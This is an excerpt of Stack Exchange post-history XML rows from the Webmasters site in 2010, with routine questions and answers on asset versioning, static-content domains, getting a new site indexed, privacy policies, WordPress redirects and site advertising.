  <row Id="1452" PostHistoryTypeId="2" PostId="792" RevisionGUID="84d2bd98-8472-4642-938d-55257cfe9f76" CreationDate="2010-07-13T09:55:11.210" UserId="231" Text="I'm using a small script combined with a .htaccess rule. Basically, the script takes the file modification timestamp and adds it to it's name (in the web page), while the .htaccess rule redirects the file with the timestamp in the name to the corresponding file from the hdd.&#xD;&#xA;&#xD;&#xA;I took this from the Particletree blog, here: http://particletree.com/notebook/automatically-version-your-css-and-javascript-files/&#xD;&#xA;&#xD;&#xA;It works perfectly for me." />
  <row Id="1453" PostHistoryTypeId="5" PostId="771" RevisionGUID="d44a85b8-8058-48bd-908b-0a07604a433d" CreationDate="2010-07-13T10:02:03.470" UserId="55" Comment="added 185 characters in body" Text="I use [Mercurial to manage everything][1], including my static HTML pages. It makes life really, really easy for me.&#xD;&#xA;&#xD;&#xA;Benefits include&#xD;&#xA;&#xD;&#xA; - All the perks version control offers (rollbacks, milestone tags, etc)&#xD;&#xA; - Being able to clone your site in a hurry&#xD;&#xA; - You always have a working local backup / copy&#xD;&#xA; - Easy to keep in sync if you tend to make changes en situ (in place, on the server)&#xD;&#xA; - Most shared hosts (if your dealing with one) don't mind installing it&#xD;&#xA;&#xD;&#xA;Disclaimer, I wrote the tutorial. Yes, the kind of VCS you use does matter, to a degree. For instance, I would not use something in this scenario where I could not commit locally and make one big push / update. That just forces me to lump too many potentially problematic changes into one commitment.&#xD;&#xA;&#xD;&#xA;I ***could*** do it with Subversion, and I'm not knocking SVN at all. I just think Mercurial is a far better tool for the problem you are trying to solve.&#xD;&#xA;&#xD;&#xA;Its my opinion that you should not have to 'work around' your tools unless you have no other choice. Doing so sort of defeats the purpose of having them, and you do have a choice :)&#xD;&#xA;&#xD;&#xA;  [1]: http://echoreply.us/tuto/mercurial_site_management.html" />
  <row Id="1454" PostHistoryTypeId="2" PostId="793" RevisionGUID="eff43bf8-4874-4fbc-88d9-b52b4c6d875f" CreationDate="2010-07-13T10:04:25.917" UserId="130" Text="My recommendation is the for relatively simple sites, one &quot;static content&quot; domain should be sufficient. DNS lookups should be cached, so only affect the first contact with that server, but it should still be kept to a minimum.&#xD;&#xA;&#xD;&#xA;You can place all of your Javascript, CSS and static images on there to reduce the overhead of cookie processing and to provide the option of offloading that work on to a different physical server. If you are running multiple popular, related sites (e.g. Stack Overflow, Server Fault etc.), then you can share a static site between them all (e.g. sstatic.net).&#xD;&#xA;&#xD;&#xA;Of course, there may be situations where more domains are appropriate (e.g. a photo hosting site may offload the photo serving to another separate domain)." />
  <row Id="1455" PostHistoryTypeId="5" PostId="717" RevisionGUID="42e3e169-a07c-4adf-a7a6-3c9668349d97" CreationDate="2010-07-13T10:45:37.970" UserId="130" Comment="Added information about CSS resets" Text="There are practical ways around the problem of supporting this decrepit old browser. The two major compatibility headaches are Javascript support and CSS support. &#xD;&#xA;&#xD;&#xA;**Javascript** support can be remedied through the use of libraries such as [jQuery][1]. This will allow code to work cross-platform (even if it runs a lot more slowly) and means that only one group (the jQuery authors) have to worry about making it work. Everyone else gets to benefit from their work.&#xD;&#xA;&#xD;&#xA;**CSS** support can be remedied through the use of a CSS framework such as [Blueprint][2]. CSS frameworks are not universally popular, but if you need something to &quot;just work&quot; and you aren't too fussed about including some rather obscure class names in your HTML, they speed up cross-browser development and remove all the guesswork. If you don't want to use a framework, [good CSS Reset scripts][3] are [available][4] [from][5] [many][6] [places][7].&#xD;&#xA;&#xD;&#xA;As much as I believe that people should be discouraged from using IE6 as far as possible, I like just being able to not worry about it. Instead, I can move on to the next problem or project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/&#xD;&#xA;  [2]: http://www.blueprintcss.org/&#xD;&#xA;  [3]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=css+reset&#xD;&#xA;  [4]: http://meyerweb.com/eric/tools/css/reset/&#xD;&#xA;  [5]: http://developer.yahoo.com/yui/3/cssreset/&#xD;&#xA;  [6]: http://monc.se/kitchen/124/introducing-tripoli&#xD;&#xA;  [7]: http://tantek.com/log/2004/undohtml.css" />
  <row Id="1456" PostHistoryTypeId="2" PostId="794" RevisionGUID="0703d6fc-0a1c-447a-9ee2-e42effe95fb3" CreationDate="2010-07-13T12:14:35.023" UserId="233" Text="Most search engines support the &quot;Crawl-delay&quot; directive, but I don't know if IA does. You could try it though:&#xD;&#xA;&#xD;&#xA;    User-agent: ia_archiver&#xD;&#xA;    Crawl-delay: 3600&#xD;&#xA;&#xD;&#xA;This would limit the delay between requests to 3600 seconds (i.e. 1 hour), or ~700 requests per month.&#xD;&#xA;&#xD;&#xA;I don't think #2 is possible - the IA bot grabs the assets as and when it sees fit. It may have a file size limit to avoid using too much storage." />
  <row Id="1457" PostHistoryTypeId="2" PostId="795" RevisionGUID="5fe5bace-38fd-4ced-8331-4f954d80cc9b" CreationDate="2010-07-13T12:37:51.653" UserId="226" Text="It can be abused into a CMS, something I am guilty of a few times. While it's not ideal (and definitely wasn't around 2.0 when I started doing it), it's getting much better, and is far easier to explain to non-technical clients than the likes of Drupal, even if it is primarily about blogging." />
  <row Id="1458" PostHistoryTypeId="16" PostId="757" RevisionGUID="2a52b92a-912a-4f5f-bc23-9ceb03982b0c" CreationDate="2010-07-13T12:40:41.680" UserId="72" />
  <row Id="1459" PostHistoryTypeId="2" PostId="796" RevisionGUID="bd1ee84b-8137-475e-b904-0fd727cd36be" CreationDate="2010-07-13T12:42:32.673" UserId="226" Text="While it's fine for sites aimed at more advanced, I find a lot of non-technical people tend to just add www and .com to every domain, so for example, my dad would type that in as `www.del.icio.us.com`. Obviously, if you were designing a site for fishing tips, for example, you would obviously use a more traditional domain, while for your fancy web based photo editor or whatever, it'd be fine.&#xD;&#xA;&#xD;&#xA;But those are the extremes, so where do you draw the line over whether those sort of domains are suitable?&#xD;&#xA;&#xD;&#xA;(Yes, I know del.icio.us changed to delicious.com)" />
  <row Id="1460" PostHistoryTypeId="1" PostId="796" RevisionGUID="bd1ee84b-8137-475e-b904-0fd727cd36be" CreationDate="2010-07-13T12:42:32.673" UserId="226" Text="When should &quot;domain hacks&quot; like del.icio.us be used for most sites?" />
  <row Id="1461" PostHistoryTypeId="3" PostId="796" RevisionGUID="bd1ee84b-8137-475e-b904-0fd727cd36be" CreationDate="2010-07-13T12:42:32.673" UserId="226" Text="&lt;domains&gt;&lt;domain-hacks&gt;" />
  <row Id="1462" PostHistoryTypeId="5" PostId="513" RevisionGUID="8ead3d28-d79a-4c5b-841d-8551db4aa02e" CreationDate="2010-07-13T12:44:38.957" UserId="50" Comment="edited body; edited tags" Text="If I were to purchase some advertising space on a website- what should I add to the end of the URL to track the results of that campaign in a tool like Google Analytics?  &#xD;&#xA;&#xD;&#xA; - Is capitalization important?&#xD;&#xA;&#xD;&#xA; - What does each part of those URL&#xD;&#xA;   additions mean?&#xD;&#xA;&#xD;&#xA; - Once entered, how do I make use of&#xD;&#xA;   them in Google analytics?&#xD;&#xA;&#xD;&#xA; - Is the utm_* method a standard, or&#xD;&#xA;   specific to Google analytics?" />
  <row Id="1463" PostHistoryTypeId="6" PostId="513" RevisionGUID="8ead3d28-d79a-4c5b-841d-8551db4aa02e" CreationDate="2010-07-13T12:44:38.957" UserId="50" Comment="edited body; edited tags" Text="&lt;google-analytics&gt;&lt;advertising&gt;&lt;analytics&gt;&lt;sem&gt;" />
  <row Id="1464" PostHistoryTypeId="2" PostId="797" RevisionGUID="afeee41f-56dc-4f75-b0a8-3cb279c3f1ce" CreationDate="2010-07-13T13:34:13.040" UserId="108" Text="This is pretty subjective and I think the key is the questions, &quot;How do they get to my site?&quot; and &quot;Who is your audience?&quot;.&#xD;&#xA;&#xD;&#xA;If people are going to see your website in commercials or other non-web based mediums then you probably are targeting a broad enough audience that adding the www. and .com to your domain would reduce confusion and allow more users to get to your site.  &#xD;&#xA;&#xD;&#xA;On the other hand if your domain is something that is mostly going to be advertised online (like del.icio.us) then having the www. and .com is much less important because people will be clicking on links rather than typing the domain in.&#xD;&#xA;&#xD;&#xA;Furthermore, your audience matter because if you are lobbying to non-technical people then you have the issue of how do 2 friends verbally communicate the site.  For instance if 2 middle age men talk about ebay next to the water cooler it is easy enough for them to communicate the site.  But if they are talking about youtube they could have an issue.  Case in point, the website www.utube.com gets thousands of hits daily from people looking for youtube.com.&#xD;&#xA;&#xD;&#xA;Finally, the point on the www. should be moot because you should just have the www. redirect to the one with out it or vice-verse.  The real concern should be about using unusual domain ender (anything but .org, .com, and .net are somewhat confusing in my opinion) and using website names that are phonetically similar or the same as another site, like youtube and utube." />
  <row Id="1465" PostHistoryTypeId="2" PostId="798" RevisionGUID="c9b86a68-66cd-4d5b-a3b5-566dd293a193" CreationDate="2010-07-13T14:56:32.030" UserId="102" Text="If your site isn't going to show up in the search engines until people start linking to you, and no one is going to link to you until they know your site exists ... which will be when the search engines start showing you... &#xD;&#xA;&#xD;&#xA;Is the only way to get your site known to pay someone to advertise your site?&#xD;&#xA;&#xD;&#xA;What are some other ways to get you site started up?" />
  <row Id="1466" PostHistoryTypeId="1" PostId="798" RevisionGUID="c9b86a68-66cd-4d5b-a3b5-566dd293a193" CreationDate="2010-07-13T14:56:32.030" UserId="102" Text="Do I have to pay for advertising to get my site known?" />
  <row Id="1467" PostHistoryTypeId="3" PostId="798" RevisionGUID="c9b86a68-66cd-4d5b-a3b5-566dd293a193" CreationDate="2010-07-13T14:56:32.030" UserId="102" Text="&lt;marketing&gt;" />
  <row Id="1468" PostHistoryTypeId="2" PostId="799" RevisionGUID="433eb271-9028-43e4-a4ab-2e8dec86218e" CreationDate="2010-07-13T15:09:29.910" UserId="108" Text="You do not have to have links to your site to return on search results.  It is however one of the heavier things Google and other search engines look at to rate your site higher.&#xD;&#xA;&#xD;&#xA;Also, there are a number of sites you can add your domain to that will help.  Specifically, I would suggest http://www.dmoz.org as that will help some with a link and Google does look at them pretty heavily.&#xD;&#xA;&#xD;&#xA;Also, your site will do better in long-tail searches than popular searches if it is new.  What I mean by that is, if you make a site about Britney Spears you will have a lot of competition and it will be hard for your site to get first page listings.  However, if you have a site that talks about something very specific like specific kind of car or motor or something that there are not as many searches on you will be able to get into the top page and even the number 1 spot much more quickly, even without links to your site.  You can find out what words are and aren't being searched by using Google Keywords.&#xD;&#xA;&#xD;&#xA;One thing to mention.  You will want to sign up for a Google Webmaster account for you site.  Checkout https://www.google.com/webmasters/tools.  Once you have an account for your domain that will help Google find it since if no one links to you Google has no other way to know you exist." />
  <row Id="1469" PostHistoryTypeId="2" PostId="800" RevisionGUID="f1d10435-f815-4c72-bbeb-c22efa847708" CreationDate="2010-07-13T15:10:35.150" UserId="210" Text="No, you can show up on search engines without links to your site (at least for Google, I can't verify for the others). One way to do this is to use an [XML Sitemap][1] sent to Google through their [webmaster tools][2]. [Bing][3] and [Yahoo][4] also have similar services.&#xD;&#xA;&#xD;&#xA;Also, you can setup a Twitter account to provide some links to your site. Also Facebook and other social networking sites are great ways to let people know about your site.&#xD;&#xA;&#xD;&#xA;Let the people you know about your site. This is probably the best way of getting it out there since they will trust you versus random people on the internet. These people will in turn let their friends know and so starts the viral marketing.&#xD;&#xA;&#xD;&#xA;But, the first thing is to make sure you have *amazing* content. The better the content, the higher search engines will rank you. If you don't have great content, then you might as well shut down the site.&#xD;&#xA;&#xD;&#xA;Lastly, yes, purchasing advertising is a way of generating traffic. But it should be used in conjunction with everything else. If it's the only thing you do, don't expect your site to be hugely successful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&#xD;&#xA;  [2]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [3]: http://www.bing.com/webmaster&#xD;&#xA;  [4]: http://siteexplorer.search.yahoo.com/" />
  <row Id="1470" PostHistoryTypeId="2" PostId="801" RevisionGUID="d8be98a1-55bc-4b46-96f9-1718d4c55f30" CreationDate="2010-07-13T15:18:56.023" UserId="55" Text="It really isn't as much of a chicken/egg problem as it used to be. I have found that spending some time on a quality design and at least half a dozen pages of good content pays off. Launch, then keep more content coming.&#xD;&#xA;&#xD;&#xA;The first thing to do is get your site map submitted so that search engines know you exist. Remember, search engines are psychic and know you exist anyway, even before a single link to your domain appears anywhere, but getting the site map in really helps to start drawing a little bit of traffic. &#xD;&#xA;&#xD;&#xA;The next thing to do is go out and promote your web site. This means being helpful / like-able on forums, blogs, etc and taking advantage of your signature link. If you take a few minutes and actually add something to a conversation, your comments / posts will generally get approved.&#xD;&#xA;&#xD;&#xA;A lot of blogs turn off `nofollow` links (mine do) for people that leave comments that are of sufficient quality to be approved. That _really_ helps.&#xD;&#xA;&#xD;&#xA;You can then consider what you want to spend to speed up a process that (should) occur naturally over the next six months. If you sell stuff, yes, its a good idea to get your banners out on sites that have visitors that would like your products.&#xD;&#xA;&#xD;&#xA;Another good example is SO advertisers. If you make a 'killer' IDE, you're just one of many. You need to get marketing in front of people that would appreciate what you offer, for example.&#xD;&#xA;&#xD;&#xA;Personally, I like being patient and waiting for the 'organic' method to work its magic prior to spending money on any kind of paid campaign, especially with social media sites being so conducive to self promotion." />
  <row Id="1471" PostHistoryTypeId="2" PostId="802" RevisionGUID="f8b18bf5-9adc-4a8c-b33e-31cd4a357c8f" CreationDate="2010-07-13T15:21:53.623" UserId="130" Text="I recommend using a pre-existing mySQL backup solution to take the pain out of getting it right.&#xD;&#xA;&#xD;&#xA;I use &quot;automysqlbackup&quot; which is an open-source shell script that can be set as a cron job on the server. It covers almost every conceivable backup situation: http://sourceforge.net/projects/automysqlbackup/. It has worked flawlessly for me for several years - thoroughly recommended." />
  <row Id="1472" PostHistoryTypeId="2" PostId="803" RevisionGUID="c8814a9c-d4d3-4d72-a666-31db5bd4691d" CreationDate="2010-07-13T15:24:44.000" UserId="19" Text="I am curious to know if every website should have a privacy policy and/or a terms of use page. What are the legal implications if a site doesn't have them? Are there certain categories of websites that legally require them?" />
  <row Id="1473" PostHistoryTypeId="1" PostId="803" RevisionGUID="c8814a9c-d4d3-4d72-a666-31db5bd4691d" CreationDate="2010-07-13T15:24:44.000" UserId="19" Text="When does a website require a privacy policy and/or terms of use?" />
  <row Id="1474" PostHistoryTypeId="3" PostId="803" RevisionGUID="c8814a9c-d4d3-4d72-a666-31db5bd4691d" CreationDate="2010-07-13T15:24:44.000" UserId="19" Text="&lt;legal&gt;&lt;privacy-policy&gt;&lt;terms-of-use&gt;" />
  <row Id="1475" PostHistoryTypeId="2" PostId="804" RevisionGUID="a4b71eb9-019f-4cfb-bdad-9c8a683abcbe" CreationDate="2010-07-13T15:24:48.883" UserId="130" Text="I have found that if you are using CSS resets or frameworks, if you don't include the doctype to switch the affected browsers (usually IE7 and IE8) in to Standards Mode, a lot of positional stuff starts going wrong. It is nearly always best to set the doctype declaration and use Standards Mode." />
  <row Id="1476" PostHistoryTypeId="5" PostId="801" RevisionGUID="e7c5c752-b1c1-47ba-b18e-50421c863136" CreationDate="2010-07-13T15:29:01.537" UserId="55" Comment="power failure during edit; added 1 characters in body" Text="It really isn't as much of a chicken/egg problem as it used to be. I have found that spending some time on a quality design and at least half a dozen pages of good content pays off. Launch, then keep more content coming.&#xD;&#xA;&#xD;&#xA;The first thing to do is get your site map submitted so that search engines know you exist. Remember, search engines are psychic and know you exist anyway, even before a single link to your domain appears anywhere, but getting the site map in really helps to start drawing a little bit of traffic. &#xD;&#xA;&#xD;&#xA;The next thing to do is go out and promote your web site. This means being helpful / like-able on forums, blogs, etc and taking advantage of your signature link. If you take a few minutes and actually add something to a conversation, your comments / posts will generally get approved.&#xD;&#xA;&#xD;&#xA;A lot of blogs turn off `nofollow` links (mine do) for people that leave comments that are of sufficient quality to be approved. That _really_ helps.&#xD;&#xA;&#xD;&#xA;You can then consider what you want to spend to speed up a process that (should) occur naturally over the next six months. If you sell stuff, yes, its a good idea to get your banners out on sites that have visitors that would like your products.&#xD;&#xA;&#xD;&#xA;Another good example is SO advertisers. If you make a 'killer' IDE, you're just one of many. You need to get marketing in front of people that would appreciate what you offer, and you've got a 200x200 block space to convince them its indeed 'killer'.&#xD;&#xA;&#xD;&#xA;Personally, I like being patient and waiting for the 'organic' method to work its magic prior to spending money on any kind of paid campaign, especially with social media sites being so conducive to self promotion." />
  <row Id="1477" PostHistoryTypeId="2" PostId="805" RevisionGUID="2570b113-e4e6-4072-b7e8-20f8cdabc3f7" CreationDate="2010-07-13T15:35:35.297" UserId="173" Text="Combine common css, images and javascripts into one file. This doesn't reduce the file size  but it will reduce the number of http requests. For smaller files the http overhead far outweighs the download time. It is easy to write a script to combine css and javascript files so you can manage them easier during development but deploy them to a single file.&#xD;&#xA;&#xD;&#xA;See [http://css-tricks.com/css-sprites][1] for more information about combining images.&#xD;&#xA;&#xD;&#xA;Also, check out the [Closure Compiler][2] from Google. I haven't used it, but it claims to make javascript download and run faster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css-tricks.com/css-sprites&#xD;&#xA;  [2]: http://code.google.com/closure/compiler/" />
  <row Id="1479" PostHistoryTypeId="2" PostId="806" RevisionGUID="004a8b69-8c15-45d9-873e-2feabe8ec14b" CreationDate="2010-07-13T15:57:02.950" UserId="108" Text="This is just my opinion but I would say any site that allows visitors to interact should have a privacy policy and terms of use page.  There are really 3 kinds of sites that go from least to most well documented in my mind.&#xD;&#xA;&#xD;&#xA; 1. Sites that allow visitor interaction like posting comments without an account&#xD;&#xA; 2. Sites that allow visitors to create accounts and interact with the site&#xD;&#xA; 3. Sites that allow visitors to spend money on things like buying goods, buying services, or donating money.&#xD;&#xA;&#xD;&#xA;I think you will always want, if you are not required by law (this part I don't know), to have a privacy policy and terms of use for a site that allows money to change hands.  Luckily this is usually done for you by companies like PayPal if you partner with them. In general though you will probably want to have your own terms and privacy policy policy even if it just points to the processors.&#xD;&#xA;&#xD;&#xA;The main purpose of the privacy policy and terms of use are to cover the site owner from legal actions.  When the site only allows comments there is not much to worry about.  If the site allows users to login and create content then there is some room for concern and a small terms and privacy doc are good to just cover yourself or your company from a disgruntled person.&#xD;&#xA;&#xD;&#xA;In the end I think having terms and a privacy policy is kind of like having internet security.  Web Security is always a function of the strength of what you have against the number of people that want to break it.  The bigger a site gets the more likely it is to come under scrutiny by others either looking for a free money or to take advantage of something/someone in a position of power." />
  <row Id="1480" PostHistoryTypeId="2" PostId="807" RevisionGUID="0158ee1f-b0d4-43f2-8f82-29e5a6bae05d" CreationDate="2010-07-13T17:16:37.790" UserId="26" Text="Under your site's `Tools &gt; Import` menu there is a plugin you can install called **[Categories and Tags Converter][1]**, which once installed will give you control over how to handle categories you might want to convert.&#xD;&#xA;&#xD;&#xA;This is a relatively painless process in the 3 times I've used it, but I never concerned myself with migrating older urls. If that's a concern, and the &quot;slugs&quot; for category are the same, and you're running under Apache, some `.htaccess&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wpcat2tag-importer/" />
  <row Id="1481" PostHistoryTypeId="5" PostId="807" RevisionGUID="c2b02172-4652-4388-9ba6-475b3ca8e188" CreationDate="2010-07-13T17:22:47.547" UserId="26" Comment="added 1165 characters in body" Text="Under your site's `Tools &gt; Import` menu there is a plugin you can install called **[Categories and Tags Converter][1]**, which once installed will give you control over how to handle categories you might want to convert.&#xD;&#xA;&#xD;&#xA;This is a relatively painless process in the 3 times I've used it, but I never concerned myself with migrating older urls. If that's a concern, and the &quot;slugs&quot; for category are the same, and you're running under Apache, some `.htaccess` directives for the individual categories should do the trick. So, assuming you have urls like:&#xD;&#xA;&#xD;&#xA;    http://example.com/archive/category/foo&#xD;&#xA;    http://example.com/archive/category/bar&#xD;&#xA;    &#xD;&#xA;And want to change them to:&#xD;&#xA;&#xD;&#xA;    http://example.com/archive/tag/foo&#xD;&#xA;    http://example.com/archive/tag/bar&#xD;&#xA;&#xD;&#xA;You would add directives for each one in your `.htaccess` file, like so:&#xD;&#xA;&#xD;&#xA;    Redirect permanent /archive/category/bar http://example.com/archive/tag/bar&#xD;&#xA;    Redirect permanent /archive/category/foo http://example.com/archive/tag/foo&#xD;&#xA;&#xD;&#xA;Now, that presumes that you want them redirected, and none of your blog authors are going to be adding those categories back!&#xD;&#xA;&#xD;&#xA;But generally, this would be the approach that would work.&#xD;&#xA;&#xD;&#xA;If you're **at all** concerned with losing data when you alter content, BACK UP YOUR MYSQL DATABASE. *Sorry, I had to yell that. :-)* And if it goes haywire then simply restore your database.&#xD;&#xA;&#xD;&#xA;If you have linked to those old urls, they'll redirect fine. You could also run [**WordPress Search and Replace**][2] plugin, which facilitates a migration like that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wpcat2tag-importer/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/search-and-replace/" />
  <row Id="1482" PostHistoryTypeId="2" PostId="808" RevisionGUID="92714bae-fbb1-4def-aa22-64bd11fcb2c0" CreationDate="2010-07-13T17:54:59.270" UserId="236" Text="Whenever you collect data from users that they may want kept private, Most commonly E-mail addresses, physical addresses, and payment information." />
  <row Id="1483" PostHistoryTypeId="5" PostId="807" RevisionGUID="b007a762-6f3b-4412-badb-200d62daa673" CreationDate="2010-07-13T18:28:48.420" UserId="26" Comment="added clarity and warning to backup when using WP search and replace" Text="Under your site's `Tools &gt; Import` menu there is a plugin you can install called **[Categories and Tags Converter][1]**, which once installed will give you control over how to handle categories you might want to convert.&#xD;&#xA;&#xD;&#xA;This is a relatively painless process in the 3 times I've used it, but I never concerned myself with migrating older urls. If that's a concern, and the &quot;slugs&quot; for category are the same, and you're running under Apache, some `.htaccess` directives for the individual categories should do the trick. So, assuming you have urls like:&#xD;&#xA;&#xD;&#xA;    http://example.com/archive/category/foo&#xD;&#xA;    http://example.com/archive/category/bar&#xD;&#xA;    &#xD;&#xA;And want to change them to:&#xD;&#xA;&#xD;&#xA;    http://example.com/archive/tag/foo&#xD;&#xA;    http://example.com/archive/tag/bar&#xD;&#xA;&#xD;&#xA;You would add directives for each one in your `.htaccess` file, like so:&#xD;&#xA;&#xD;&#xA;    Redirect permanent /archive/category/bar http://example.com/archive/tag/bar&#xD;&#xA;    Redirect permanent /archive/category/foo http://example.com/archive/tag/foo&#xD;&#xA;&#xD;&#xA;Now, that presumes that you want them redirected, and none of your blog authors are going to be adding those categories back!&#xD;&#xA;&#xD;&#xA;But generally, this would be the approach that would work.&#xD;&#xA;&#xD;&#xA;If you're **at all** concerned with losing data when you alter content, BACK UP YOUR MYSQL DATABASE. *Sorry, I had to yell that. :-)* And if it goes haywire then simply restore your database.&#xD;&#xA;&#xD;&#xA;If you have linked to those old urls in your content, they'll redirect fine. But you could also run [**WordPress Search and Replace**][2] plugin, which facilitates a migration like that, but again, mind backups especially with the Search and Replace plugin, since it makes its changes with no backup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wpcat2tag-importer/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/search-and-replace/" />
  <row Id="1484" PostHistoryTypeId="2" PostId="809" RevisionGUID="ad560ad3-e510-4e91-bf3a-cea9d9fa8811" CreationDate="2010-07-13T18:48:36.850" UserId="180" Text="I can think of one edge case where the benefits of multi-host requests outweighs the DNS setup costs.  &#xD;&#xA;&#xD;&#xA;When serving map tiles from a Google Maps-style slippy map, you can see benefits from distributing your tile locations virtually across a much larger number of hosts, even if they are all pointing at the same underlying resources (images).  In these cases, you'll want to ensure that the resources have an &quot;affinity&quot; set to one host based on their properties (such as some combination of the MOD of row and column numbers) so that browser caching works optimally and requests are balanced across all hosts for any given view extent.&#xD;&#xA;&#xD;&#xA;This situation is very specialized, but it basically just emphasizes that if you have a non-standard use case make sure that you test everything, and don't forget to include both raw numbers and UX / perceived performance of all of the scenarios." />
  <row Id="1485" PostHistoryTypeId="2" PostId="810" RevisionGUID="f8070049-3b1b-4d8c-9450-5b2ae0f7d287" CreationDate="2010-07-13T18:49:26.023" UserId="26" Text="A giant topic here. Online marketing and advertising could almost be a whole stackexchange site on its own.&#xD;&#xA;&#xD;&#xA; 1. Who should I use for advertising?&#xD;&#xA;&#xD;&#xA;    - So you can sell your ads yourself using, say [phpAdsNew][1]&#xD;&#xA;    - You can sign up for a service that sells ads like [BlogAds][2]&#xD;&#xA;    - You can add contextual ads like [AdSense][3]&#xD;&#xA;    - You could do something like selling sponsorship&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;&#xD;&#xA; 2. What are the best practices for ad  placement?&#xD;&#xA;&#xD;&#xA;    - This is a whole topic unto itself. [How To Use Banner Ads Effectively][4]&#xD;&#xA;      is an article about this. General guidelines: consider how your users use&#xD;&#xA;      your site. Is it long text? Will they hate your ads? Will they appreciate that they're on-topic and on target? What percentage of the site real-estate is advertising. A page that is 75% ads can really be atrocious in terms of doing the *other* stuff you want the user to be doing and enjoying on your site.&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA; 3. What are the best ways to keep&#xD;&#xA;    advertising unobtrusive?&#xD;&#xA;&#xD;&#xA;     - Totally dependent on audience. All along as you sell ads your advertisers will want reports of how effective the ads are. Are they getting effective results from paying you money for those ads? *Sometimes* it takes obtrusiveness to make an ad effective. Finding this balance is what ad people are always trying to optimize.&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA; 4.   When is too much advertising too&#xD;&#xA;    much advertising?&#xD;&#xA;&#xD;&#xA;     - See Answer for 3.&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;    &#xD;&#xA; 5.  Are there better ways to make money&#xD;&#xA;    from a site than text ads?&#xD;&#xA;&#xD;&#xA;     - Again, sorry, this is totally dependent on the value a site brings.&#xD;&#xA;&#xD;&#xA;Parting thought: consider that [eBay][5], [CNN][6], [4chan][7], [GMail][8] -- all contain advertising they use to help monetize their sites. These are all radically different enterprises though. There is no one-size-fits-all solution when it comes to ads. I think this is why most folks (including me) throw up their hands and just slap AdSense up. It works well enough, but an advertising professional (and how to find one of these who is professional and qualified I don;t know) will be able to help you figure out how to get the right mix of advertising for your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/phpadsnew/&#xD;&#xA;  [2]: http://web.blogads.com/&#xD;&#xA;  [3]: https://www.google.com/adsense&#xD;&#xA;  [4]: http://seanseo.com/online-advertising/how-to-use-banner-ads/&#xD;&#xA;  [5]: http://ebay.com/&#xD;&#xA;  [6]: http://cnn.com/&#xD;&#xA;  [7]: http://4chan.org/&#xD;&#xA;  [8]: http://gmail.com/" />
  <row Id="1486" PostHistoryTypeId="2" PostId="811" RevisionGUID="c36b4df0-b822-4de7-81d7-53c4586c6ac9" CreationDate="2010-07-13T18:59:33.180" UserId="26" Text="If you're storing **any** information about user activity data (including but not limited to: identity information, email addresses, user-agent strings, IP address information, dates and times of user activity, cookies and user preferences, and much much more), you need to consider having a privacy policy.&#xD;&#xA;&#xD;&#xA;Have a look at the sample [privacy policies from this thread][1] and see if any of the elements they refer to, you refer to your site.&#xD;&#xA;&#xD;&#xA;Privacy is a [huge area of activity. Check out the EFF site][2] for informations of concern. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/216/what-are-some-good-resources-for-generating-privacy-policies-and-terms-of-use&#xD;&#xA;  [2]: http://www.eff.org/work" />
  <row Id="1487" PostHistoryTypeId="5" PostId="793" RevisionGUID="8ad86d9a-6c88-4208-b979-38642f4300c6" CreationDate="2010-07-13T19:00:23.490" UserId="130" Comment="Corrected spelling" Text="My recommendation is that for relatively simple sites, one &quot;static content&quot; domain should be sufficient. DNS lookups should be cached, so only affect the first contact with that server, but it should still be kept to a minimum.&#xD;&#xA;&#xD;&#xA;You can place all of your Javascript, CSS and static images on there to reduce the overhead of cookie processing and to provide the option of offloading that work on to a different physical server. If you are running multiple popular, related sites (e.g. Stack Overflow, Server Fault etc.), then you can share a static site between them all (e.g. sstatic.net).&#xD;&#xA;&#xD;&#xA;Of course, there may be situations where more domains are appropriate (e.g. a photo hosting site may offload the photo serving to another separate domain)." />
  <row Id="1488" PostHistoryTypeId="5" PostId="810" RevisionGUID="54934ef2-2d8b-41a0-8de2-852d5cde4d54" CreationDate="2010-07-13T19:01:26.280" UserId="26" Comment="fixed punctuation and added italics" Text="A giant topic here. Online marketing and advertising could almost be a whole stackexchange site on its own.&#xD;&#xA;&#xD;&#xA; 1. Who should I use for advertising?&#xD;&#xA;&#xD;&#xA;    - So you can sell your ads yourself using, say [phpAdsNew][1]&#xD;&#xA;    - You can sign up for a service that sells ads like [BlogAds][2]&#xD;&#xA;    - You can add contextual ads like [AdSense][3]&#xD;&#xA;    - You could do something like selling sponsorship&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;&#xD;&#xA; 2. What are the best practices for ad  placement?&#xD;&#xA;&#xD;&#xA;    - This is a whole topic unto itself. [How To Use Banner Ads Effectively][4]&#xD;&#xA;      is an article about this. General guidelines: consider how your users use&#xD;&#xA;      your site. Is it long text? Will they hate your ads? Will they appreciate that they're on-topic and on target? What percentage of the site real-estate is advertising. A page that is 75% ads can really be atrocious in terms of doing the *other* stuff you want the user to be doing and enjoying on your site.&#xD;&#xA;&lt;br&gt;&lt;br&gt;    &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA; 3. What are the best ways to keep&#xD;&#xA;    advertising unobtrusive?&#xD;&#xA;&#xD;&#xA;     - Totally dependent on audience. All along as you sell ads your advertisers will want reports of how effective the ads are. Are they getting effective results from paying you money for those ads? *Sometimes* it takes obtrusiveness to make an ad effective. Finding 